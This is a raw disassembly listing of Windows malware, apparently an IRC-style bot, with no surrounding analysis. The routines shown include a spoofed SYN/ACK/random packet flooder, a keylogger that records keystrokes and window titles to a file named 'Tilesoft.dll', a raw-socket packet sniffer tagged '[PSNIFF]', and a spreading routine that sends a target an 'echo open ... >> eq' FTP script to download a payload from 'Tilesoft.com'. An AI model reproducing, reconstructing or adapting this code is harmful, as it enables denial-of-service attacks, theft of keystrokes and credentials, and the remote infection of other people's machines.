		mov	[ebp+var_2C], 45h
		call	ds:dword_43A378	; ntohs
		cmp	[ebp+var_B0], ebx
		mov	[ebp+var_2A], ax
		mov	[ebp+var_28], si
		mov	[ebp+var_26], bx
		mov	[ebp+var_24], 80h
		mov	[ebp+var_23], 6
		mov	[ebp+var_22], bx
		jz	short loc_401E38
		call	sub_415529
		mov	esi, eax
		shl	esi, 8
		call	sub_415529
		add	esi, eax
		shl	esi, 8
		call	sub_415529
		add	esi, eax
		shl	esi, 8
		call	sub_415529
		add	esi, eax
		push	1
		mov	[ebp+var_20], esi
		pop	esi
		jmp	short loc_401E4E
; ---------------------------------------------------------------------------


loc_401E38:				; CODE XREF: sub_401BD6+233j
		push	[ebp+var_240]
		call	sub_40A155
		pop	ecx
		push	eax
		call	ds:dword_43A3B8	; inet_addr
		mov	[ebp+var_20], eax


loc_401E4E:				; CODE XREF: sub_401BD6+260j
		mov	eax, [ebp+var_40]
		cmp	[ebp+var_B8], ebx
		mov	[ebp+var_1C], eax
		jnz	short loc_401E6C
		call	sub_415529
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_401E72
; ---------------------------------------------------------------------------


loc_401E6C:				; CODE XREF: sub_401BD6+284j
		push	[ebp+var_B8]


loc_401E72:				; CODE XREF: sub_401BD6+294j
		call	ds:dword_43A378	; ntohs
		mov	[ebp+var_16], ax
		call	sub_415529
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	ds:dword_43A378	; ntohs
		push	12345678h
		mov	[ebp+var_18], ax
		call	ds:dword_43A374	; ntohl
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_1BC]
		push	offset aSyn	; "syn"
		push	eax
		call	sub_415AA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401EC2
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 2
		jmp	short loc_401F1E
; ---------------------------------------------------------------------------


loc_401EC2:				; CODE XREF: sub_401BD6+2E1j
		lea	eax, [ebp+var_1BC]
		push	offset aAck	; "ack"
		push	eax
		call	sub_415AA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401EE2
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 10h
		jmp	short loc_401F1E
; ---------------------------------------------------------------------------


loc_401EE2:				; CODE XREF: sub_401BD6+301j
		lea	eax, [ebp+var_1BC]
		push	offset aRandom	; "random"
		push	eax
		call	sub_415AA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F1E
		call	sub_415529
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_10], edx
		call	sub_415529
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_B], dl


loc_401F1E:				; CODE XREF: sub_401BD6+2EAj
					; sub_401BD6+30Aj ...
		push	200h
		mov	[ebp+var_C], 50h
		call	ds:dword_43A378	; ntohs
		mov	[ebp+var_A], ax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_64], eax
		mov	eax, [ebp+var_1C]
		push	14h
		mov	[ebp+var_6], bx
		mov	[ebp+var_8], bx
		mov	[ebp+var_60], eax
		mov	[ebp+var_5C], bl
		mov	[ebp+var_5B], 6
		call	ds:dword_43A378	; ntohs
		mov	[ebp+var_5A], ax
		lea	eax, [ebp+var_64]
		push	20h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4155B0
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4155B0
		lea	eax, [ebp+var_A0]
		push	34h
		push	eax
		call	sub_40A1AE
		mov	[ebp+var_8], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4155B0
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		call	sub_4155B0
		push	4
		lea	eax, [ebp+var_78]
		push	ebx
		push	eax
		call	sub_415550
		add	esp, 44h
		lea	eax, [ebp+var_A0]
		push	28h
		push	eax
		call	sub_40A1AE
		mov	[ebp+var_22], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4155B0
		add	esp, 14h
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_A0]
		push	3Ch
		push	eax
		push	[ebp+var_4]
		call	ds:dword_43A3DC	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40200B
		inc	[ebp+arg_0]
		jmp	loc_401DC5
; ---------------------------------------------------------------------------


loc_40200B:				; CODE XREF: sub_401BD6+42Bj
		push	[ebp+var_4]
		call	ds:dword_43A410	; closesocket
		call	ds:dword_43A30C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		push	offset dword_423344
		lea	eax, [ebp+var_440]
		push	200h
		push	eax
		call	sub_415A4A
		add	esp, 18h
		cmp	[ebp+var_A8], ebx
		jnz	short loc_402069
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_412D32
		add	esp, 14h


loc_402069:				; CODE XREF: sub_401BD6+46Ej
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40B151
		push	[ebp+var_BC]
		call	sub_415295
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 3D0000h


loc_402088:				; CODE XREF: sub_401BD6+203j
		sar	edi, 75h
		cld
		call	ds:dword_43A410	; closesocket
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_B4]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_1BC]
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_4232E0
		push	eax
		call	sub_4154CD
		add	esp, 1Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_4020FA
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_412D32
		add	esp, 14h


loc_4020FA:				; CODE XREF: sub_401BD6+4FFj
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40B151
		push	[ebp+var_BC]
		call	sub_415295
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 3D0000h
		and	edx, [ebp+var_75] ; CODE XREF: seg000:004022AFp
					; seg000:0040244Ep
sub_401BD6	endp ; sp-analysis failed

		in	al, dx


loc_40211D:				; DATA XREF: seg002:off_42F370o
		sub	esp, 314h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	ds:dword_42105C	; GetLocalTime
		lea	eax, [ebp-114h]
		push	104h
		push	eax
		call	near ptr 3D0000h
		xlat
		lea	eax, [ebp-114h]
		push	offset asc_423C30 ; "\\"
		push	eax
		call	sub_415BF0
		lea	eax, [ebp-114h]
		push	offset aTilesoft_dll ; "Tilesoft.dll"
		push	eax
		call	sub_415BF0
		lea	eax, [ebp-114h]
		push	offset aAb	; "ab"
		push	eax
		call	sub_415BC8
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_402181
		push	1
		pop	eax
		jmp	short loc_4021F8
; ---------------------------------------------------------------------------


loc_402181:				; CODE XREF: seg000:0040217Aj
		movzx	eax, word ptr [ebp-4]
		push	dword ptr [ebp+8]
		push	eax
		movzx	eax, word ptr [ebp-6]
		push	eax
		movzx	eax, word ptr [ebp-8]
		push	eax
		movzx	eax, word ptr [ebp-10h]
		push	eax
		movzx	eax, word ptr [ebp-0Ah]
		push	eax
		movzx	eax, word ptr [ebp-0Eh]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_415B76
		push	esi
		call	sub_415B20
		add	esp, 28h
		cmp	dword ptr [ebp+98h], 0
		jnz	short loc_4021F6
		push	dword ptr [ebp+8]
		lea	eax, [ebp-314h]
		push	offset dword_423BEC
		push	200h
		push	eax
		call	sub_415A4A
		push	0
		lea	eax, [ebp-314h]
		push	dword ptr [ebp+94h]
		push	eax
		lea	eax, [ebp+14h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	sub_412D32
		add	esp, 24h


loc_4021F6:				; CODE XREF: seg000:004021BDj
		xor	eax, eax


loc_4021F8:				; CODE XREF: seg000:0040217Fj
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_4021FB:				; DATA XREF: seg000:0040EC57o
		push	ebp
		mov	ebp, esp
		sub	esp, 8DCh
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		and	dword ptr [ebp-8DCh], 0
		push	25h
		and	dword ptr [ebp-4], 0
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-0DCh]
		rep movsd
		mov	dword ptr [eax+90h], 1
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-8D8h]
		rep stosd
		call	ds:dword_43A300	; GetForegroundWindow
		lea	ecx, [ebp-48h]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp-8], eax
		call	ds:dword_43A314	; GetWindowTextA
		mov	ebx, 200h


loc_402256:				; CODE XREF: seg000:004024C2j
		push	8
		call	ds:dword_421060	; Sleep
		call	ds:dword_43A300	; GetForegroundWindow
		cmp	eax, [ebp-8]
		jz	short loc_4022DE
		lea	ecx, [ebp-48h]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp-8], eax
		call	ds:dword_43A314	; GetWindowTextA
		lea	eax, [ebp-48h]
		push	eax
		lea	eax, [ebp-2DCh]
		push	eax
		lea	eax, [ebp-4DCh]
		push	offset aSChangedWindow ; "%s (Changed Windows: %s)"
		push	eax
		call	sub_4154CD
		sub	esp, 84h
		lea	esi, [ebp-0DCh]
		lea	eax, [ebp-4DCh]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	near ptr loc_402119+1
		mov	[ebp-4], eax
		push	ebx
		lea	eax, [ebp-2DCh]
		push	0
		push	eax
		call	sub_415550
		add	esp, 0A4h
		lea	eax, [ebp-4DCh]
		push	ebx
		push	0
		push	eax
		call	sub_415550
		add	esp, 0Ch


loc_4022DE:				; CODE XREF: seg000:00402267j
		mov	dword ptr [ebp+8], offset aB ; "b"


loc_4022E5:				; CODE XREF: seg000:004024B8j
		push	10h
		call	ds:dword_43A258	; GetKeyState
		movsx	esi, ax
		mov	eax, [ebp+8]
		mov	edi, [eax-4]
		push	edi
		call	ds:dword_43A344	; GetAsyncKeyState
		test	ah, 80h
		jz	short loc_40237D
		push	14h
		call	ds:dword_43A258	; GetKeyState
		test	ax, ax
		jz	short loc_40232E
		cmp	esi, 0FFFFFFFFh
		jle	short loc_40232E
		cmp	edi, 40h
		jle	short loc_40232E
		cmp	edi, 5Bh
		jge	short loc_40232E
		mov	dword ptr [ebp+edi*4-8DCh], 1
		jmp	loc_4024AD
; ---------------------------------------------------------------------------


loc_40232E:				; CODE XREF: seg000:0040230Dj
					; seg000:00402312j ...
		push	14h
		call	ds:dword_43A258	; GetKeyState
		test	ax, ax
		jz	short loc_402359
		test	esi, esi
		jge	short loc_40236D
		cmp	edi, 40h
		jle	short loc_402359
		cmp	edi, 5Bh
		jge	short loc_402359
		mov	dword ptr [ebp+edi*4-8DCh], 2
		jmp	loc_4024AD
; ---------------------------------------------------------------------------


loc_402359:				; CODE XREF: seg000:00402339j
					; seg000:00402342j ...
		test	esi, esi
		jge	short loc_40236D
		mov	dword ptr [ebp+edi*4-8DCh], 3
		jmp	loc_4024AD
; ---------------------------------------------------------------------------


loc_40236D:				; CODE XREF: seg000:0040233Dj
					; seg000:0040235Bj
		mov	dword ptr [ebp+edi*4-8DCh], 4
		jmp	loc_4024AD
; ---------------------------------------------------------------------------


loc_40237D:				; CODE XREF: seg000:00402300j
		mov	esi, [ebp+edi*4-8DCh]
		lea	eax, [ebp+edi*4-8DCh]
		test	esi, esi
		jz	loc_4024AD
		and	dword ptr [eax], 0
		lea	eax, [ebp-2DCh]
		cmp	edi, 8
		push	eax
		jnz	short loc_4023B5
		call	sub_415CD0
		and	byte ptr [ebp+eax-2DDh], 0
		pop	ecx
		jmp	loc_4024AD
; ---------------------------------------------------------------------------


loc_4023B5:				; CODE XREF: seg000:004023A0j
		call	sub_415CD0
		cmp	eax, 1B9h
		pop	ecx
		jbe	short loc_4023E7
		call	ds:dword_43A300	; GetForegroundWindow
		lea	ecx, [ebp-48h]
		push	3Ch
		push	ecx
		push	eax
		call	ds:dword_43A314	; GetWindowTextA
		lea	eax, [ebp-48h]
		push	eax
		lea	eax, [ebp-2DCh]
		push	eax
		push	offset aSBufferFullS ; "%s (Buffer full) (%s)"
		jmp	short loc_402428
; ---------------------------------------------------------------------------


loc_4023E7:				; CODE XREF: seg000:004023C0j
		cmp	edi, 0Dh
		jnz	loc_40247F
		lea	eax, [ebp-2DCh]
		push	eax
		call	sub_415CD0
		test	eax, eax
		pop	ecx
		jz	loc_4024AD
		call	ds:dword_43A300	; GetForegroundWindow
		lea	ecx, [ebp-48h]
		push	3Ch
		push	ecx
		push	eax
		call	ds:dword_43A314	; GetWindowTextA
		lea	eax, [ebp-48h]
		push	eax
		lea	eax, [ebp-2DCh]
		push	eax
		push	offset aSReturnS ; "%s (Return)	(%s)"


loc_402428:				; CODE XREF: seg000:004023E5j
		lea	eax, [ebp-4DCh]
		push	eax
		call	sub_4154CD
		sub	esp, 84h
		lea	esi, [ebp-0DCh]
		lea	eax, [ebp-4DCh]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	near ptr loc_402119+1
		mov	[ebp-4], eax
		push	ebx
		lea	eax, [ebp-2DCh]
		push	0
		push	eax
		call	sub_415550
		add	esp, 0A4h
		lea	eax, [ebp-4DCh]
		push	ebx
		push	0
		push	eax
		call	sub_415550
		add	esp, 0Ch
		jmp	short loc_4024AD
; ---------------------------------------------------------------------------


loc_40247F:				; CODE XREF: seg000:004023EAj
		cmp	esi, 1
		jz	short loc_402498
		cmp	esi, 3
		jz	short loc_402498
		cmp	esi, 2
		jz	short loc_402493
		cmp	esi, 4
		jnz	short loc_4024AD


loc_402493:				; CODE XREF: seg000:0040248Cj
		push	dword ptr [ebp+8]
		jmp	short loc_40249F
; ---------------------------------------------------------------------------


loc_402498:				; CODE XREF: seg000:00402482j
					; seg000:00402487j
		mov	eax, [ebp+8]
		add	eax, 7
		push	eax


loc_40249F:				; CODE XREF: seg000:00402496j
		lea	eax, [ebp-2DCh]
		push	eax
		call	sub_415BF0
		pop	ecx
		pop	ecx


loc_4024AD:				; CODE XREF: seg000:00402329j
					; seg000:00402354j ...
		add	dword ptr [ebp+8], 14h
		cmp	dword ptr [ebp+8], offset dword_423BB4
		jl	loc_4022E5
		cmp	dword ptr [ebp-4], 0
		jz	loc_402256
		push	dword ptr [ebp-0D8h]
		call	sub_415295
		pop	ecx
		push	0
		call	near ptr 3D0000h
		jecxz	short near ptr loc_40252F+3
		mov	ebp, esp
		mov	eax, 102B4h
		call	sub_415D50
		mov	edx, [ebp+8]
		push	esi
		push	edi
		push	1
		pop	eax
		mov	esi, edx
		push	25h
		lea	edi, [ebp-0B4h]
		pop	ecx
		mov	[ebp-8], eax
		rep movsd
		mov	[edx+90h], eax
		xor	esi, esi
		push	10h
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		call	sub_415550
		add	esp, 0Ch
		mov	word ptr [ebp-1Ch], 2
		push	esi
		call	ds:dword_43A378	; ntohs
		push	dword ptr [ebp-0B4h]
		mov	[ebp-1Ah], ax


loc_40252F:				; CODE XREF: seg000:004024DBj
		call	sub_40A155
		pop	ecx
		push	eax
		call	ds:dword_43A3B8	; inet_addr
		push	esi
		push	3
		push	2
		mov	[ebp-18h], eax
		call	ds:dword_43A3F8	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-4], edi
		jnz	short loc_4025B1
		call	ds:dword_43A30C	; WSAGetLastError
		push	eax
		lea	eax, [ebp-2B4h]
		push	offset dword_42462C
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		cmp	[ebp-28h], esi
		jnz	short loc_402594
		push	esi
		lea	eax, [ebp-2B4h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		push	dword ptr [ebp-0B4h]
		call	sub_412D32
		add	esp, 14h


loc_402594:				; CODE XREF: seg000:00402572j
		lea	eax, [ebp-2B4h]
		push	eax
		call	sub_40B151
		push	dword ptr [ebp-30h]
		call	sub_415295
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 3D0000h
		cdq


loc_4025B1:				; CODE XREF: seg000:00402552j
		mov	eax, [ebp-30h]
		push	10h
		imul	eax, 234h
		mov	ds:dword_43F514[eax], edi
		lea	eax, [ebp-1Ch]
		push	eax
		push	edi
		call	ds:dword_43A3A4	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short near ptr loc_402635+1
		call	ds:dword_43A30C	; WSAGetLastError
		push	eax
		lea	eax, [ebp-2B4h]
		push	offset unk_4245E4
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		cmp	[ebp-28h], esi
		jnz	short loc_402612
		push	esi
		lea	eax, [ebp-2B4h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		push	dword ptr [ebp-0B4h]
		call	sub_412D32
		add	esp, 14h


loc_402612:				; CODE XREF: seg000:004025F0j
		lea	eax, [ebp-2B4h]
		push	eax
		call	sub_40B151
		pop	ecx
		push	edi
		call	ds:dword_43A410	; closesocket
		push	dword ptr [ebp-30h]
		call	sub_415295
		pop	ecx
		push	esi
		call	near ptr 3D0000h


loc_402635:				; CODE XREF: seg000:004025D0j
		adc	al, 56h
		lea	eax, [ebp-20h]
		push	esi
		push	eax
		push	esi
		push	esi
		lea	eax, [ebp-8]
		push	4
		push	eax
		push	98000001h
		push	edi
		call	ds:dword_43A324	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jnz	short near ptr loc_4026B8+1
		call	ds:dword_43A30C	; WSAGetLastError
		push	eax
		lea	eax, [ebp-2B4h]
		push	offset unk_424598
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		cmp	[ebp-28h], esi
		jnz	short loc_402695
		push	esi
		lea	eax, [ebp-2B4h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		push	dword ptr [ebp-0B4h]
		call	sub_412D32
		add	esp, 14h


loc_402695:				; CODE XREF: seg000:00402673j
		lea	eax, [ebp-2B4h]
		push	eax
		call	sub_40B151
		pop	ecx
		push	edi
		call	ds:dword_43A410	; closesocket
		push	dword ptr [ebp-30h]
		call	sub_415295
		pop	ecx
		push	esi
		call	near ptr 3D0000h


loc_4026B8:				; CODE XREF: seg000:00402653j
		test	eax, 3C90BB53h
		inc	edx
		add	[edi+0FFFFh], bh ; CODE	XREF: seg000:004026F7j
					; seg000:00402709j ...
		lea	eax, [ebp-102B4h]
		push	edi
		push	esi
		push	eax
		call	sub_415550
		add	esp, 0Ch
		lea	eax, [ebp-102B4h]
		push	esi
		push	edi
		push	eax
		push	dword ptr [ebp-4]
		call	ds:dword_43A390	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_4027D1
		cmp	byte ptr [ebp-102ABh], 6
		jnz	short near ptr loc_4026BE+1
		mov	eax, [ebp-102A8h]
		cmp	byte ptr [ebp-10293h], 18h
		mov	[ebp-0Ch], eax
		jnz	short near ptr loc_4026BE+1
		lea	eax, [ebp-1028Ch]
		push	offset aPsniff	; "[PSNIFF]"
		push	eax
		call	sub_415AA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short near ptr loc_4026BE+1
		mov	eax, ebx
		xor	edi, edi
		test	eax, eax
		jz	short near ptr loc_4026BE+1
		mov	[ebp+8], ebx


loc_40272D:				; CODE XREF: seg000:00402748j
		push	eax
		lea	eax, [ebp-1028Ch]
		push	eax
		call	sub_415AA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40274F
		inc	edi
		add	dword ptr [ebp+8], 18h
		mov	eax, [ebp+8]
		jnz	short loc_40272D
		jmp	near ptr loc_4026BE+1
; ---------------------------------------------------------------------------


loc_40274F:				; CODE XREF: seg000:0040273Ej
		lea	eax, [ebp-1028Ch]
		push	eax
		push	dword ptr [ebp-102A0h]
		call	ds:dword_43A2B4	; ntohs
		movzx	eax, ax
		push	eax
		push	dword ptr [ebp-0Ch]
		call	ds:dword_43A404	; inet_ntoa
		push	eax
		lea	eax, [edi+edi*2]
		mov	eax, ds:dword_423CA4[eax*8]
		push	ds:off_423C80[eax*4]
		lea	eax, [ebp-2B4h]
		push	offset unk_424544
		push	200h
		push	eax
		call	sub_415A4A
		add	esp, 1Ch
		cmp	[ebp-28h], esi
		jnz	short loc_4027BF
		push	esi
		lea	eax, [ebp-2B4h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		push	dword ptr [ebp-0B4h]
		call	sub_412D32
		add	esp, 14h


loc_4027BF:				; CODE XREF: seg000:0040279Dj
		lea	eax, [ebp-2B4h]
		push	eax
		call	sub_40B151
		pop	ecx
		jmp	near ptr loc_4026BE+1
; ---------------------------------------------------------------------------


loc_4027D1:				; CODE XREF: seg000:004026EAj
		call	ds:dword_43A30C	; WSAGetLastError
		push	eax
		push	offset unk_4244FC
		lea	eax, [ebp-2B4h]
		push	200h
		push	eax
		call	sub_415A4A
		add	esp, 10h
		cmp	[ebp-28h], esi
		pop	ebx
		jnz	short loc_402817
		push	esi
		lea	eax, [ebp-2B4h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		push	dword ptr [ebp-0B4h]
		call	sub_412D32
		add	esp, 14h


loc_402817:				; CODE XREF: seg000:004027F5j
		lea	eax, [ebp-2B4h]
		push	eax
		call	sub_40B151
		pop	ecx
		push	dword ptr [ebp-4]
		call	ds:dword_43A410	; closesocket
		push	dword ptr [ebp-30h]
		call	sub_415295
		pop	ecx
		push	esi
		call	near ptr 3D0000h
		insd

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40283D	proc near		; CODE XREF: sub_402988+440p

var_5A4		= byte ptr -5A4h
var_1A4		= byte ptr -1A4h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A4h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_415550
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_14], 2
		push	eax
		call	ds:dword_4211D8	; inet_addr
		mov	[ebp+var_10], eax
		mov	ax, ds:word_424F58
		push	eax
		call	ds:dword_4211DC	; ntohs
		push	esi
		push	1
		push	2
		mov	[ebp+var_12], ax
		call	ds:dword_4211E0	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jz	loc_40295D
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	edi
		call	ds:dword_4211E4	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_40295D
		push	esi
		lea	eax, [ebp+var_5A4]
		push	400h
		push	eax
		push	edi
		call	ds:dword_4211E8	; recv
		mov	esi, offset aTilesoft_com ; "Tilesoft.com"
		mov	ebx, 190h
		push	esi
		push	esi
		push	offset aSf_	; "sf."
		push	offset aSf	; "sf"
		push	offset a78001	; "78001"
		push	offset dword_468974
		push	offset aEchoOpenSDEqEc ; "echo open %s %d >> eq&echo user %s %s	>"...
		lea	eax, [ebp+var_1A4]
		push	ebx
		push	eax
		call	sub_415A4A
		add	esp, 24h
		lea	eax, [ebp+var_1A4]
		push	0
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		push	edi
		mov	edi, ds:dword_4211EC
		call	edi	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40295D
		push	1F4h
		call	ds:dword_421060	; Sleep
		push	esi
		push	offset dword_425050
		lea	eax, [ebp+var_1A4]
		push	ebx
		push	eax
		call	sub_415A4A
		add	esp, 10h
		lea	eax, [ebp+var_1A4]
		push	0
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		push	[ebp+var_4]
		call	edi	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402961


loc_40295D:				; CODE XREF: sub_40283D+54j
					; sub_40283D+6Aj ...
		xor	al, al
		jmp	short loc_402983
; ---------------------------------------------------------------------------


loc_402961:				; CODE XREF: sub_40283D+11Ej
		push	0
		lea	eax, [ebp+var_5A4]
		push	400h
		push	eax
		push	[ebp+var_4]
		call	ds:dword_4211E8	; recv
		push	[ebp+var_4]
		call	ds:dword_4211F0	; closesocket
		mov	al, 1


loc_402983:				; CODE XREF: sub_40283D+122j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40283D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402988	proc near		; CODE XREF: sub_402DDD+11Bp
					; sub_402DDD+13Dp

var_89B0	= byte ptr -89B0h
var_8948	= byte ptr -8948h
var_68D8	= byte ptr -68D8h
var_6868	= byte ptr -6868h
var_5DA4	= byte ptr -5DA4h
var_4800	= byte ptr -4800h
var_47FF	= byte ptr -47FFh
var_376C	= byte ptr -376Ch
var_2CA8	= byte ptr -2CA8h
var_2CA7	= byte ptr -2CA7h
var_2CA4	= byte ptr -2CA4h
var_2C28	= byte ptr -2C28h
var_2458	= byte ptr -2458h
var_1FAD	= byte ptr -1FADh
var_1CC0	= byte ptr -1CC0h
var_14DC	= byte ptr -14DCh
var_14CC	= byte ptr -14CCh
var_11A8	= byte ptr -11A8h
var_11A4	= byte ptr -11A4h
var_1198	= byte ptr -1198h
var_F10		= byte ptr -0F10h
var_E70		= byte ptr -0E70h
var_764		= dword	ptr -764h
var_754		= byte ptr -754h
var_740		= byte ptr -740h
var_100		= byte ptr -100h
var_FF		= byte ptr -0FFh
var_B0		= byte ptr -0B0h
var_AD		= byte ptr -0ADh
var_83		= byte ptr -83h
var_81		= byte ptr -81h
var_80		= byte ptr -80h
var_38		= byte ptr -38h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
		mov	ebp, esp
		mov	eax, 89B0h
		call	sub_415D50
		mov	eax, ds:dword_4250D0
		push	ebx
		mov	[ebp+var_10], eax
		mov	eax, ds:dword_4250D4
		mov	[ebp+var_C], eax
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_38]
		push	offset loc_4250C4
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		xor	ecx, ecx
		lea	eax, [ebp+var_FF]


loc_4029C5:				; CODE XREF: sub_402988+4Dj
		mov	dl, [ebp+ecx+var_38]
		mov	[eax-1], dl
		and	byte ptr [eax],	0
		inc	ecx
		inc	eax
		inc	eax
		cmp	ecx, 28h
		jl	short loc_4029C5
		push	60h
		lea	eax, [ebp+var_B0]
		push	offset dword_424B68
		push	eax
		call	sub_4155B0
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_415CD0
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4155B0
		add	esp, 1Ch
		lea	eax, [ebp+var_38]
		push	9
		push	(offset	aC+3)
		push	eax
		call	sub_415CD0
		pop	ecx
		lea	eax, [ebp+eax*2+var_81]
		push	eax
		call	sub_4155B0
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_415CD0
		add	al, 1Ah
		push	1
		shl	al, 1
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax
		lea	eax, [ebp+var_AD]
		push	eax
		call	sub_4155B0
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_415CD0
		shl	al, 1
		add	al, 9
		push	1
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_83]
		push	eax
		call	sub_4155B0
		mov	ax, ds:word_424F58
		add	esp, 2Ch
		push	eax
		call	ds:dword_4211DC	; ntohs
		xor	eax, 9999h
		push	2
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_424868
		call	sub_4155B0
		add	esp, 0Ch
		cmp	[ebp+arg_C0], 0
		jz	loc_402B7F
		mov	edi, 0DACh
		lea	eax, [ebp+var_1CC0]
		push	edi
		push	90h
		push	eax
		call	sub_415550
		mov	eax, [ebp+arg_C0]
		push	4
		imul	eax, 3Ch
		lea	ebx, dword_424F98[eax]
		lea	eax, [ebp+var_14DC]
		push	ebx
		push	eax
		call	sub_4155B0
		mov	esi, offset loc_4247B8
		push	esi
		call	sub_415CD0
		push	eax
		lea	eax, [ebp+var_14CC]
		push	esi
		push	eax
		call	sub_4155B0
		push	4
		lea	eax, [ebp+var_11A8]
		push	offset loc_4250BC
		push	eax
		call	sub_4155B0
		push	4
